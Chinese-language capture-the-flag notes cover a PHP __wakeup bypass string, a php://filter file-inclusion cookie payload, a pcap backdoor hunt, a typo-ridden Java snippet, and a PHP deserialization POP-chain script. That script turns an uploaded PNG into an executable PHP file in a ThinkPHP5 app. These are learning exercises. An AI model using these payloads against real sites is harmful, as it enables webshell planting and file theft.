1
unserialize3
当序列化字符串中属性个数大于实际属性个数时,不会执行反序列化
外部如果是unserialize()会调用wakeup()方法,输出“bad request”——构造url绕过wakeup
类型:public class,直接构造:
O:4:"xctf":1:{s:4:"flag";s:3:"111";} 改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
2
“找出攻击者的IP”
http协议中,
可疑:POST了hacker.php,追踪hacker.php,url解码,确认是开了个后门
3
进入
就是base64解码
4
只出现一次的数字
class Solution{
public int singleNumber(int[t] nums){
int result = 0;
for (int num : nums)}{
result =resut ^num;
}
return result;
}
}
5
fileinclude
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag
upload3
注册登录,对头像尝试文件上传,但无法执行
进行目录扫描获取源码,TP5框架
profile.php
cookie有个反序列化,审完代码以后可以i使用(覆盖掉filename)
if:前两个判断不用改就可以绕过,进ext_check()判断
然后赋值ext
接下来把 filename_tmp 移动到 filename时,就可以把 png 移动为 php 文件了。
_get()与_call():作用上传图像访问,被访问不存在时调用 upload_img()
register.php:
registed 赋值为 false,checker 赋值为我们的 $profile
从而调用其中的 index 方法,再跳到 upload_img() 了。
<?php
namespace app\web\controller;
error_reporting(0);
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.png";
$profile->filename = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.php";
$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));